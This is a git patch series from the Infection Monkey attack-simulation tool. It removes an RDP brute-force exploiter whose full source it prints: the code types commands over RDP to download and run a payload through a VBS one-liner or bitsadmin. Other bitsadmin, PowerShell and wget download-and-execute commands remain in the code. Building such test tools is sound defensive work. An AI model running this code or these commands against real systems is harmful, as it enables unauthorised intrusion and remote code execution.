diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index cb5bf881b..1d31c709a 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -216,9 +216,6 @@ class Configuration(object): user_to_add = "Monkey_IUSER_SUPPORT" remote_user_pass = "Password1!" - # rdp exploiter - rdp_use_vbs_download = True - # User and password dictionaries for exploits. def get_exploit_user_password_pairs(self): diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 8dba50352..57b8d6ee5 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -63,7 +63,6 @@ "user_to_add": "Monkey_IUSER_SUPPORT", "remote_user_pass": "Password1!", "ping_scan_timeout": 10000, - "rdp_use_vbs_download": true, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "retry_failed_explotation": true, diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 19e5b327e..9db1bad47 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -80,7 +80,6 @@ class HostExploiter(object): from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.smbexec import SmbExploiter -from infection_monkey.exploit.rdpgrinder import RdpExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.shellshock import ShellShockExploiter from infection_monkey.exploit.sambacry import SambaCryExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 24a902eea..39fdf29b1 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -8,7 +8,7 @@ import json import logging import requests from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ +from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.telemetry.attack.t1197_telem import T1197Telem @@ -38,7 +38,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py deleted file mode 100644 index 0cf225637..000000000 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ /dev/null @@ -1,346 +0,0 @@ -import os.path -import threading -import time -from logging import getLogger - -import rdpy.core.log as rdpy_log -import twisted.python.log -from rdpy.core.error import RDPSecurityNegoFail -from rdpy.protocol.rdp import rdp -from twisted.internet import reactor - -from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING -from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -from infection_monkey.utils import utf_to_ascii - -__author__ = 'hoffer' - -KEYS_INTERVAL = 0.1 -MAX_WAIT_FOR_UPDATE = 120 -KEYS_SENDER_SLEEP = 0.01 -DOWNLOAD_TIMEOUT = 60 -RDP_PORT = 3389 -LOG = getLogger(__name__) - - -def twisted_log_func(*message, **kw): - if kw.get('isError'): - error_msg = 'Unknown' - if 'failure' in kw: - error_msg = kw['failure'].getErrorMessage() - LOG.error("Error from twisted library: %s" % (error_msg,)) - else: - LOG.debug("Message from twisted library: %s" % (str(message),)) - - -def rdpy_log_func(message): - LOG.debug("Message from rdpy library: %s" % (message,)) - - -twisted.python.log.msg = twisted_log_func -rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR -rdpy_log.log = rdpy_log_func - -# thread for twisted reactor, create once. -global g_reactor -g_reactor = threading.Thread(target=reactor.run, args=(False,)) - - -class ScanCodeEvent(object): - def __init__(self, code, is_pressed=False, is_special=False): - self.code = code - self.is_pressed = is_pressed - self.is_special = is_special - - -class CharEvent(object): - def __init__(self, char, is_pressed=False): - self.char = char - self.is_pressed = is_pressed - - -class SleepEvent(object): - def __init__(self, interval): - self.interval = interval - - -class WaitUpdateEvent(object): - def __init__(self, updates=1): - self.updates = updates - pass - - -def str_to_keys(orig_str): - result = [] - for c in orig_str: - result.append(CharEvent(c, True)) - result.append(CharEvent(c, False)) - result.append(WaitUpdateEvent()) - return result - - -class KeyPressRDPClient(rdp.RDPClientObserver): - def __init__(self, controller, keys, width, height, addr): - super(KeyPressRDPClient, self).__init__(controller) - self._keys = keys - self._addr = addr - self._update_lock = threading.Lock() - self._wait_update = False - self._keys_thread = threading.Thread(target=self._keysSender) - self._keys_thread.daemon = True - self._width = width - self._height = height - self._last_update = 0 - self.closed = False - self.success = False - self._wait_for_update = None - - def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data): - update_time = time.time() - self._update_lock.acquire() - self._last_update = update_time - self._wait_for_update = False - self._update_lock.release() - - def _keysSender(self): - LOG.debug("Starting to send keystrokes") - while True: - - if self.closed: - return - - if len(self._keys) == 0: - reactor.callFromThread(self._controller.close) - LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port) - return - - key = self._keys[0] - - self._update_lock.acquire() - time_diff = time.time() - self._last_update - if type(key) is WaitUpdateEvent: - self._wait_for_update = True - self._update_lock.release() - key.updates -= 1 - if key.updates == 0: - self._keys = self._keys[1:] - elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if type(key) is ScanCodeEvent: - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, - key.is_special) - elif type(key) is CharEvent: - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif type(key) is SleepEvent: - time.sleep(key.interval) - - self._keys = self._keys[1:] - else: - self._update_lock.release() - time.sleep(KEYS_SENDER_SLEEP) - - def onReady(self): - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True) - time.sleep(1) - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False) - time.sleep(1) - pass - - def onClose(self): - self.success = len(self._keys) == 0 - self.closed = True - - def onSessionReady(self): - LOG.debug("Logged in, session is ready for work") - self._last_update = time.time() - self._keys_thread.start() - - -class CMDClientFactory(rdp.ClientFactory): - def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359): - self._username = username - self._password = password - self._domain = domain - self._keyboard_layout = "en" - # key sequence: WINKEY+R,cmd /v,Enter,&exit,Enter - self._keys = [SleepEvent(1), - ScanCodeEvent(91, True, True), - ScanCodeEvent(19, True), - ScanCodeEvent(19, False), - ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ - [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] - self._optimized = optimized - self._security = rdp.SecurityLevel.RDP_LEVEL_NLA - self._nego = True - self._client = None - self._width = width - self._height = height - self.done_event = threading.Event() - self.success = False - - def buildObserver(self, controller, addr): - """ - @summary: Build RFB observer - We use a RDPClient as RDP observer - @param controller: build factory and needed by observer - @param addr: destination address - @return: RDPClientQt - """ - - # create client observer - self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr) - - controller.setUsername(self._username) - controller.setPassword(self._password) - controller.setDomain(self._domain) - controller.setKeyboardLayout(self._keyboard_layout) - controller.setHostname(addr.host) - if self._optimized: - controller.setPerformanceSession() - controller.setSecurityLevel(self._security) - - return self._client - - def clientConnectionLost(self, connector, reason): - # try reconnect with basic RDP security - if reason.type == RDPSecurityNegoFail and self._nego: - LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % - (connector.host, connector.port)) - # stop nego - self._nego = False - self._security = rdp.SecurityLevel.RDP_LEVEL_RDP - connector.connect() - return - - LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port)) - self.success = self._client.success - self.done_event.set() - - def clientConnectionFailed(self, connector, reason): - LOG.debug("RDP connection to %s:%s failed, with error: %s" % - (connector.host, connector.port, reason.getErrorMessage())) - self.success = False - self.done_event.set() - - -class RdpExploiter(HostExploiter): - - _TARGET_OS_TYPE = ['windows'] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'RDP' - - def __init__(self, host): - super(RdpExploiter, self).__init__(host) - - def is_os_supported(self): - if super(RdpExploiter, self).is_os_supported(): - return True - - if not self.host.os.get('type'): - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if is_open: - self.host.os['type'] = 'windows' - return True - return False - - def _exploit_host(self): - global g_reactor - - is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT) - if not is_open: - LOG.info("RDP port is closed on %r, skipping", self.host) - return False - - src_path = get_target_monkey(self.host) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") - return False - - LOG.info("Started http server on %s", http_path) - - cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) - - if self._config.rdp_use_vbs_download: - command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - else: - command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path_win_32, - 'http_path': http_path, 'parameters': cmdline} - - user_password_pairs = self._config.get_exploit_user_password_pairs() - - if not g_reactor.is_alive(): - g_reactor.daemon = True - g_reactor.start() - - exploited = False - for user, password in user_password_pairs: - try: - # run command using rdp. - LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'", - self.host, user, self._config.hash_sensitive_data(password)) - - LOG.info("RDP connected to %r", self.host) - - user = utf_to_ascii(user) - password = utf_to_ascii(password) - command = utf_to_ascii(command) - - client_factory = CMDClientFactory(user, password, "", command) - - reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) - - client_factory.done_event.wait() - - if client_factory.success: - if not self._config.rdp_use_vbs_download: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - self.add_vuln_port(RDP_PORT) - exploited = True - self.report_login_attempt(True, user, password) - break - else: - # failed exploiting with this user/pass - self.report_login_attempt(False, user, password) - - except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", self.host, - user, self._config.hash_sensitive_data(password), exc) - continue - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - if not exploited: - LOG.debug("Exploiter RdpGrinder failed, rdp failed.") - return False - elif http_thread.downloads == 0: - LOG.debug("Exploiter RdpGrinder failed, http download failed.") - return False - - LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), self.host) - self.add_executed_cmd(command) - return True diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b33a3cfb5..d8c1f6598 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -308,7 +308,7 @@ class WebRCE(HostExploiter): """ if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() resp = self.exploit(url, backup_command) return resp diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index e6c2e63a5..dd3e9ca63 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index bef031d2e..f30131267 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 5689ca332..a9642aa2f 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 7e1f17c48..52ccfeb5d 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -58,7 +58,6 @@ class AWSExporter(Exporter): 'wmi_password': AWSExporter._handle_wmi_password_issue, 'wmi_pth': AWSExporter._handle_wmi_pth_issue, 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'rdp': AWSExporter._handle_rdp_issue, 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, @@ -305,20 +304,6 @@ class AWSExporter(Exporter): instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) - @staticmethod - def _handle_rdp_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), - instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None - ) - @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 2fa1a3aff..ee5616868 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -32,14 +32,6 @@ SCHEMA = { "title": "MSSQL Exploiter", "attack_techniques": ["T1110"] }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)", - "attack_techniques": [] - }, { "type": "string", "enum": [ @@ -791,19 +783,6 @@ SCHEMA = { } } }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, "sambacry": { "title": "SambaCry", "type": "object", diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 593bbfdaf..54bb6f74e 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -34,7 +34,6 @@ class ReportService: 'SmbExploiter': 'SMB Exploiter', 'WmiExploiter': 'WMI Exploiter', 'SSHExploiter': 'SSH Exploiter', - 'RdpExploiter': 'RDP Exploiter', 'SambaCryExploiter': 'SambaCry Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', @@ -287,12 +286,6 @@ class ReportService: processed_exploit['type'] = 'ssh' return processed_exploit - @staticmethod - def process_rdp_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'rdp' - return processed_exploit - @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -357,7 +350,6 @@ class ReportService: 'SmbExploiter': ReportService.process_smb_exploit, 'WmiExploiter': ReportService.process_wmi_exploit, 'SSHExploiter': ReportService.process_ssh_exploit, - 'RdpExploiter': ReportService.process_rdp_exploit, 'SambaCryExploiter': ReportService.process_sambacry_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4d1f6d4dd..207ae8699 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -665,22 +665,6 @@ class ReportPageComponent extends AuthComponent { ); } - generateRdpIssue(issue) { - return ( -
  • - Change {issue.username}'s password to a complex one-use password - that is not shared with other computers on the network. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a RDP attack. -
    - The Monkey authenticated over the RDP protocol with user {issue.username} and its password. -
    -
  • - ); - } generateSambaCryIssue(issue) { return ( @@ -959,9 +943,6 @@ generateMSSQLIssue(issue) { case 'ssh_key': data = this.generateSshKeysIssue(issue); break; - case 'rdp': - data = this.generateRdpIssue(issue); - break; case 'sambacry': data = this.generateSambaCryIssue(issue); break; From 9b23be44ed627dc9044640e405e468e4ae1e3357 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 09:28:53 +0300 Subject: [PATCH 06/13] Added hash parsing to the T1021 remote services attack technique. --- .../cc/services/attack/technique_reports/T1021.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 2baa7a872..d22583359 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -22,18 +22,14 @@ class T1021(AttackTechnique): 'attempt_cnt': {'$size': '$data.attempts'}, 'attempts': {'$filter': {'input': '$data.attempts', 'as': 'attempt', - 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, - {'$or': [{'$ne': ['$$attempt.password', '']}, - {'$ne': ['$$attempt.ssh_key', '']}]}] - } + 'cond': {'$eq': ['$$attempt.result', True]} } } } }] scanned_query = {'telem_category': 'exploit', - 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, - {'ssh_key': {'$ne': ''}}]}}} + 'data.attempts': {'$elemMatch': {'result': True}}} @staticmethod def get_report_data(): From b9a5ac1fe4b3822bb340e98a7b93df0fabf1191d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Aug 2019 14:04:45 +0300 Subject: [PATCH 07/13] Refactored: scripting telemetry is send as a string, without using UsageEnum --- monkey/infection_monkey/post_breach/pba.py | 19 ++++++++++++------- .../telemetry/attack/t1064_telem.py | 14 +++++++++++--- .../attack/technique_reports/T1064.py | 6 ++++-- 3 files changed, 27 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index e3eb533ae..86addd009 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,20 +47,25 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if self.scripts_were_used(result): - T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() + if self.scripts_were_used_successfully(result): + T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() - def scripts_were_used(self, pba_execution_result): + def is_script(self): """ - Determines if scripts were used to execute PBA + Determines if PBA is a script (PBA might be a single command) + :return: True if PBA is a script(series of OS commands) + """ + return isinstance(self.command, list) and len(self.command) > 1 + + def scripts_were_used_successfully(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA and if they succeeded :param pba_execution_result: result of execution function. e.g. self._execute_default :return: True if scripts were used, False otherwise """ pba_execution_succeeded = pba_execution_result[1] - if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: - return True - return False + return pba_execution_succeeded and self.is_script() def _execute_default(self): """ diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index fcb3c0bff..efea27063 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -1,11 +1,19 @@ -from infection_monkey.telemetry.attack.usage_telem import UsageTelem +from infection_monkey.telemetry.attack.usage_telem import AttackTelem -class T1064Telem(UsageTelem): +class T1064Telem(AttackTelem): def __init__(self, status, usage): """ T1064 telemetry. :param status: ScanStatus of technique :param usage: Usage string """ - super(T1064Telem, self).__init__('T1064', status, usage) + super(T1064Telem, self).__init__('T1064', status) + self.usage = usage + + def get_data(self): + data = super(T1064Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index 9137f99e4..0b1b05489 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,16 +1,18 @@ from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique +from monkey_island.cc.database import mongo __author__ = "VakarisZ" class T1064(UsageTechnique): tech_id = "T1064" - unscanned_msg = "Monkey didn't run scripts." + unscanned_msg = "Monkey didn't run scripts or tried to run and failed." scanned_msg = "" used_msg = "Monkey ran scripts on machines in the network." @staticmethod def get_report_data(): data = T1064.get_tech_base_data() - data.update({'scripts': T1064.get_usage_data()}) + script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) + data.update({'scripts': script_usages}) return data From 97b0568c35398b3557f1ddb45cba838aa216cd35 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 23 Aug 2019 16:08:53 +0300 Subject: [PATCH 08/13] Added success log message in mimikatz and fixed private keys attack query --- monkey/infection_monkey/system_info/windows_info_collector.py | 1 + .../monkey_island/cc/services/attack/technique_reports/T1145.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 7c3739a0f..b8a102831 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + LOG.info('Mimikatz info gathered successfully') else: LOG.info('No mimikatz info was gathered') diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 89ac44117..c4e5691ff 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -12,7 +12,7 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info_collection', + query = [{'$match': {'telem_category': 'system_info', 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, {'$project': {'_id': 0, 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, From 51b689366ad60ca956228e5cf2477a7e7e3776c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 15:47:24 +0300 Subject: [PATCH 09/13] Current section not changed on import --- .../cc/ui/src/components/pages/ConfigurePage.js | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index ad4df667d..43dac797c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent { this.setState({PBAlinuxFile: [], PBAwinFile: []}); } - onReadFile = (event) => { + setConfigOnImport = (event) => { try { this.setState({ configuration: JSON.parse(event.target.result), lastAction: 'import_success' }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))}); - this.currentSection = 'basic'; this.currentFormData = {}; } catch(SyntaxError) { this.setState({lastAction: 'import_failure'}); @@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent { importConfig = (event) => { let reader = new FileReader(); - reader.onload = this.onReadFile; + reader.onload = this.setConfigOnImport; reader.readAsText(event.target.files[0]); event.target.value = null; }; @@ -494,7 +493,6 @@ class ConfigurePageComponent extends AuthComponent { } else if(this.state.selectedSection !== 'attack') { content = this.renderConfigContent(displayedSchema) } - return ( {this.renderAttackAlertModal()} From 7e0b85a34d1f765b93cae319860117b1fcec0588 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 25 Aug 2019 18:58:34 +0300 Subject: [PATCH 10/13] Improved description of T1090 connection proxy --- .../monkey_island/cc/services/attack/technique_reports/T1090.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py index f0835aff9..7a6c830b8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -10,7 +10,7 @@ class T1090(AttackTechnique): tech_id = "T1090" unscanned_msg = "Monkey didn't use connection proxy." scanned_msg = "" - used_msg = "Monkey used connection proxy." + used_msg = "Monkey used connection proxy to communicate with machines on the network." @staticmethod def get_report_data(): From f8ef243d048cf6757aeabdf34261ff78e5d74f45 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:09:42 +0300 Subject: [PATCH 11/13] Updated contrib.md to include info about UT name format and branch name 